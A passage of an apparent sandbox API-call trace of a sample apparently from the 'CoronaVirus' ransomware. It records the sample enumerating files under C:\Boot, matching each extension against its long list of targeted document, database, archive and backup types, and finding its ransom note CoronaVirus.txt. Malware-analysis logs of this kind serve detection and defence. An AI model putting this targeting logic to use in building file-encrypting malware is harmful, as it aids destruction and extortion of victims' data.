	[0082.904] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.905] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0082.905] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.905] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0082.905] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.905] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0082.905] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.905] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0082.905] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.905] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0082.905] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.905] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0082.905] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.905] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0082.905] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.905] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0082.905] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.905] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0082.905] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.905] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0082.905] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.905] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0082.905] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.905] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0082.905] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.905] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0082.905] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.905] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0082.905] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.905] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0082.905] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.905] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0082.905] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.905] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0082.905] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.905] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0082.905] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.905] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0082.906] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeac653e5, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeac653e5, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0082.906] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0082.906] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0082.906] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.906] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0082.906] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.906] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0082.906] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.906] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0082.906] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.906] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0082.906] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.906] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0082.906] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.906] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0082.906] malloc (_Size=0x1000) returned 0x2f2b560
	[0082.906] _swprintf (in: param_1=0x2f2b560, param_2="%s\\%s" | out: param_1="C:\\Boot\\bg-BG\\CoronaVirus.txt") returned 29
	[0082.906] wcsstr (_Str="C:\\Boot\\bg-BG\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0082.906] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeac653e5, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeac653e5, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 0
	[0082.906] FindClose (in: hFindFile=0x600ad0 | out: hFindFile=0x600ad0) returned 1
	[0082.906] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1
	[0082.906] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0082.906] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0082.906] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.906] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0082.906] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.906] wcsstr (_Str=".bat", _SubStr=".dll") returned 0x0
	[0082.906] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.906] wcsstr (_Str=".doc", _SubStr=".dll") returned 0x0
	[0082.906] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.906] wcsstr (_Str=".jpg", _SubStr=".dll") returned 0x0
	[0082.906] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.907] wcsstr (_Str=".jpe", _SubStr=".dll") returned 0x0
	[0082.907] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.907] wcsstr (_Str=".txt", _SubStr=".dll") returned 0x0
	[0082.907] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.907] wcsstr (_Str=".tex", _SubStr=".dll") returned 0x0
	[0082.907] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.907] wcsstr (_Str=".dbf", _SubStr=".dll") returned 0x0
	[0082.907] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.907] wcsstr (_Str=".xls", _SubStr=".dll") returned 0x0
	[0082.907] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.907] wcsstr (_Str=".cry", _SubStr=".dll") returned 0x0
	[0082.907] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.907] wcsstr (_Str=".xml", _SubStr=".dll") returned 0x0
	[0082.907] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.907] wcsstr (_Str=".vsd", _SubStr=".dll") returned 0x0
	[0082.907] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.907] wcsstr (_Str=".pdf", _SubStr=".dll") returned 0x0
	[0082.907] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.907] wcsstr (_Str=".csv", _SubStr=".dll") returned 0x0
	[0082.907] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.907] wcsstr (_Str=".bmp", _SubStr=".dll") returned 0x0
	[0082.907] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.907] wcsstr (_Str=".tif", _SubStr=".dll") returned 0x0
	[0082.907] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.907] wcsstr (_Str=".1cd", _SubStr=".dll") returned 0x0
	[0082.907] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.907] wcsstr (_Str=".tax", _SubStr=".dll") returned 0x0
	[0082.907] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.907] wcsstr (_Str=".gif", _SubStr=".dll") returned 0x0
	[0082.907] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.907] wcsstr (_Str=".gbr", _SubStr=".dll") returned 0x0
	[0082.907] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.907] wcsstr (_Str=".png", _SubStr=".dll") returned 0x0
	[0082.907] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.907] wcsstr (_Str=".mdb", _SubStr=".dll") returned 0x0
	[0082.907] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.907] wcsstr (_Str=".mdf", _SubStr=".dll") returned 0x0
	[0082.907] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.908] wcsstr (_Str=".sdf", _SubStr=".dll") returned 0x0
	[0082.908] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.908] wcsstr (_Str=".dwg", _SubStr=".dll") returned 0x0
	[0082.908] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.908] wcsstr (_Str=".dxf", _SubStr=".dll") returned 0x0
	[0082.908] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.908] wcsstr (_Str=".dgn", _SubStr=".dll") returned 0x0
	[0082.908] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.908] wcsstr (_Str=".stl", _SubStr=".dll") returned 0x0
	[0082.908] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.908] wcsstr (_Str=".gho", _SubStr=".dll") returned 0x0
	[0082.908] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.908] wcsstr (_Str=".v2i", _SubStr=".dll") returned 0x0
	[0082.908] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.908] wcsstr (_Str=".3ds", _SubStr=".dll") returned 0x0
	[0082.908] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.908] wcsstr (_Str=".ppt", _SubStr=".dll") returned 0x0
	[0082.908] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.908] wcsstr (_Str=".acc", _SubStr=".dll") returned 0x0
	[0082.908] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.908] wcsstr (_Str=".vpd", _SubStr=".dll") returned 0x0
	[0082.908] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.908] wcsstr (_Str=".odt", _SubStr=".dll") returned 0x0
	[0082.908] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.908] wcsstr (_Str=".ods", _SubStr=".dll") returned 0x0
	[0082.908] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.908] wcsstr (_Str=".rar", _SubStr=".dll") returned 0x0
	[0082.908] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.908] wcsstr (_Str=".zip", _SubStr=".dll") returned 0x0
	[0082.908] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.908] wcsstr (_Str=".cpp", _SubStr=".dll") returned 0x0
	[0082.908] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.908] wcsstr (_Str=".pas", _SubStr=".dll") returned 0x0
	[0082.908] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.908] wcsstr (_Str=".asm", _SubStr=".dll") returned 0x0
	[0082.908] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.908] wcsstr (_Str=".rtf", _SubStr=".dll") returned 0x0
	[0082.909] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.909] wcsstr (_Str=".lic", _SubStr=".dll") returned 0x0
	[0082.909] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.909] wcsstr (_Str=".avi", _SubStr=".dll") returned 0x0
	[0082.909] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.909] wcsstr (_Str=".mov", _SubStr=".dll") returned 0x0
	[0082.909] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.909] wcsstr (_Str=".mp3", _SubStr=".dll") returned 0x0
	[0082.909] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.909] wcsstr (_Str=".vbs", _SubStr=".dll") returned 0x0
	[0082.909] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.909] wcsstr (_Str=".v8i", _SubStr=".dll") returned 0x0
	[0082.909] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.909] wcsstr (_Str=".erf", _SubStr=".dll") returned 0x0
	[0082.909] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.909] wcsstr (_Str=".epf", _SubStr=".dll") returned 0x0
	[0082.909] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.909] wcsstr (_Str=".mxl", _SubStr=".dll") returned 0x0
	[0082.909] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.909] wcsstr (_Str=".cfu", _SubStr=".dll") returned 0x0
	[0082.909] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.909] wcsstr (_Str=".mht", _SubStr=".dll") returned 0x0
	[0082.909] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.909] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0082.909] _wcslwr (in: _String=0x3173af8 | out: _String=".dll") returned=".dll"
	[0082.909] wcsstr (_Str=".old", _SubStr=".dll") returned 0x0
	[0082.909] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1
	[0082.909] wcsncmp (_String1="B", _String2=".", _MaxCount=0x1) returned 20
	[0082.909] wcsncmp (_String1="BO", _String2="..", _MaxCount=0x2) returned 20
	[0082.909] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.909] wcsstr (_Str=".bak", _SubStr=".dat") returned 0x0
	[0082.909] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.909] wcsstr (_Str=".bat", _SubStr=".dat") returned 0x0
	[0082.909] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.909] wcsstr (_Str=".doc", _SubStr=".dat") returned 0x0
	[0082.909] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.909] wcsstr (_Str=".jpg", _SubStr=".dat") returned 0x0
	[0082.910] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.910] wcsstr (_Str=".jpe", _SubStr=".dat") returned 0x0
	[0082.910] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.910] wcsstr (_Str=".txt", _SubStr=".dat") returned 0x0
	[0082.910] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.910] wcsstr (_Str=".tex", _SubStr=".dat") returned 0x0
	[0082.910] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.910] wcsstr (_Str=".dbf", _SubStr=".dat") returned 0x0
	[0082.910] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.910] wcsstr (_Str=".xls", _SubStr=".dat") returned 0x0
	[0082.910] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.910] wcsstr (_Str=".cry", _SubStr=".dat") returned 0x0
	[0082.910] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.910] wcsstr (_Str=".xml", _SubStr=".dat") returned 0x0
	[0082.910] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.910] wcsstr (_Str=".vsd", _SubStr=".dat") returned 0x0
	[0082.910] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.910] wcsstr (_Str=".pdf", _SubStr=".dat") returned 0x0
	[0082.910] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.910] wcsstr (_Str=".csv", _SubStr=".dat") returned 0x0
	[0082.910] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.910] wcsstr (_Str=".bmp", _SubStr=".dat") returned 0x0
	[0082.910] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.910] wcsstr (_Str=".tif", _SubStr=".dat") returned 0x0
	[0082.910] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.910] wcsstr (_Str=".1cd", _SubStr=".dat") returned 0x0
	[0082.910] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.910] wcsstr (_Str=".tax", _SubStr=".dat") returned 0x0
	[0082.910] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.910] wcsstr (_Str=".gif", _SubStr=".dat") returned 0x0
	[0082.910] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.910] wcsstr (_Str=".gbr", _SubStr=".dat") returned 0x0
	[0082.910] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.910] wcsstr (_Str=".png", _SubStr=".dat") returned 0x0
	[0082.910] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.910] wcsstr (_Str=".mdb", _SubStr=".dat") returned 0x0
	[0082.910] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.911] wcsstr (_Str=".mdf", _SubStr=".dat") returned 0x0
	[0082.911] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.911] wcsstr (_Str=".sdf", _SubStr=".dat") returned 0x0
	[0082.911] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.911] wcsstr (_Str=".dwg", _SubStr=".dat") returned 0x0
	[0082.911] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.911] wcsstr (_Str=".dxf", _SubStr=".dat") returned 0x0
	[0082.911] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.911] wcsstr (_Str=".dgn", _SubStr=".dat") returned 0x0
	[0082.911] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.911] wcsstr (_Str=".stl", _SubStr=".dat") returned 0x0
	[0082.911] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.911] wcsstr (_Str=".gho", _SubStr=".dat") returned 0x0
	[0082.911] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.911] wcsstr (_Str=".v2i", _SubStr=".dat") returned 0x0
	[0082.911] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.911] wcsstr (_Str=".3ds", _SubStr=".dat") returned 0x0
	[0082.911] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.911] wcsstr (_Str=".ppt", _SubStr=".dat") returned 0x0
	[0082.911] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.911] wcsstr (_Str=".acc", _SubStr=".dat") returned 0x0
	[0082.911] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.911] wcsstr (_Str=".vpd", _SubStr=".dat") returned 0x0
	[0082.911] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.911] wcsstr (_Str=".odt", _SubStr=".dat") returned 0x0
	[0082.911] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.911] wcsstr (_Str=".ods", _SubStr=".dat") returned 0x0
	[0082.911] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.911] wcsstr (_Str=".rar", _SubStr=".dat") returned 0x0
	[0082.911] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.911] wcsstr (_Str=".zip", _SubStr=".dat") returned 0x0
	[0082.911] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.911] wcsstr (_Str=".cpp", _SubStr=".dat") returned 0x0
	[0082.911] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.911] wcsstr (_Str=".pas", _SubStr=".dat") returned 0x0
	[0082.911] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.911] wcsstr (_Str=".asm", _SubStr=".dat") returned 0x0
	[0082.911] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.912] wcsstr (_Str=".rtf", _SubStr=".dat") returned 0x0
	[0082.912] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.912] wcsstr (_Str=".lic", _SubStr=".dat") returned 0x0
	[0082.912] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.912] wcsstr (_Str=".avi", _SubStr=".dat") returned 0x0
	[0082.912] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.912] wcsstr (_Str=".mov", _SubStr=".dat") returned 0x0
	[0082.912] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.912] wcsstr (_Str=".mp3", _SubStr=".dat") returned 0x0
	[0082.912] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.912] wcsstr (_Str=".vbs", _SubStr=".dat") returned 0x0
	[0082.912] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.912] wcsstr (_Str=".v8i", _SubStr=".dat") returned 0x0
	[0082.912] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.912] wcsstr (_Str=".erf", _SubStr=".dat") returned 0x0
	[0082.912] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.912] wcsstr (_Str=".epf", _SubStr=".dat") returned 0x0
	[0082.912] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.912] wcsstr (_Str=".mxl", _SubStr=".dat") returned 0x0
	[0082.912] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.912] wcsstr (_Str=".cfu", _SubStr=".dat") returned 0x0
	[0082.912] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.912] wcsstr (_Str=".mht", _SubStr=".dat") returned 0x0
	[0082.912] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.912] wcsstr (_Str=".bak", _SubStr=".dat") returned 0x0
	[0082.912] _wcslwr (in: _String=0x3173af4 | out: _String=".dat") returned=".dat"
	[0082.912] wcsstr (_Str=".old", _SubStr=".dat") returned 0x0
	[0082.912] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1
	[0082.912] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0082.912] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0082.912] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.912] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0082.912] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.912] wcsstr (_Str=".bat", _SubStr=".dll") returned 0x0
	[0082.912] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.912] wcsstr (_Str=".doc", _SubStr=".dll") returned 0x0
	[0082.913] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.913] wcsstr (_Str=".jpg", _SubStr=".dll") returned 0x0
	[0082.913] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.913] wcsstr (_Str=".jpe", _SubStr=".dll") returned 0x0
	[0082.913] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.913] wcsstr (_Str=".txt", _SubStr=".dll") returned 0x0
	[0082.913] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.913] wcsstr (_Str=".tex", _SubStr=".dll") returned 0x0
	[0082.913] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.913] wcsstr (_Str=".dbf", _SubStr=".dll") returned 0x0
	[0082.913] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.913] wcsstr (_Str=".xls", _SubStr=".dll") returned 0x0
	[0082.913] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.913] wcsstr (_Str=".cry", _SubStr=".dll") returned 0x0
	[0082.913] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.913] wcsstr (_Str=".xml", _SubStr=".dll") returned 0x0
	[0082.913] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.913] wcsstr (_Str=".vsd", _SubStr=".dll") returned 0x0
	[0082.913] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.913] wcsstr (_Str=".pdf", _SubStr=".dll") returned 0x0
	[0082.913] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.913] wcsstr (_Str=".csv", _SubStr=".dll") returned 0x0
	[0082.913] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.913] wcsstr (_Str=".bmp", _SubStr=".dll") returned 0x0
	[0082.913] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.913] wcsstr (_Str=".tif", _SubStr=".dll") returned 0x0
	[0082.913] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.913] wcsstr (_Str=".1cd", _SubStr=".dll") returned 0x0
	[0082.913] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.913] wcsstr (_Str=".tax", _SubStr=".dll") returned 0x0
	[0082.913] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.913] wcsstr (_Str=".gif", _SubStr=".dll") returned 0x0
	[0082.913] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.913] wcsstr (_Str=".gbr", _SubStr=".dll") returned 0x0
	[0082.913] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
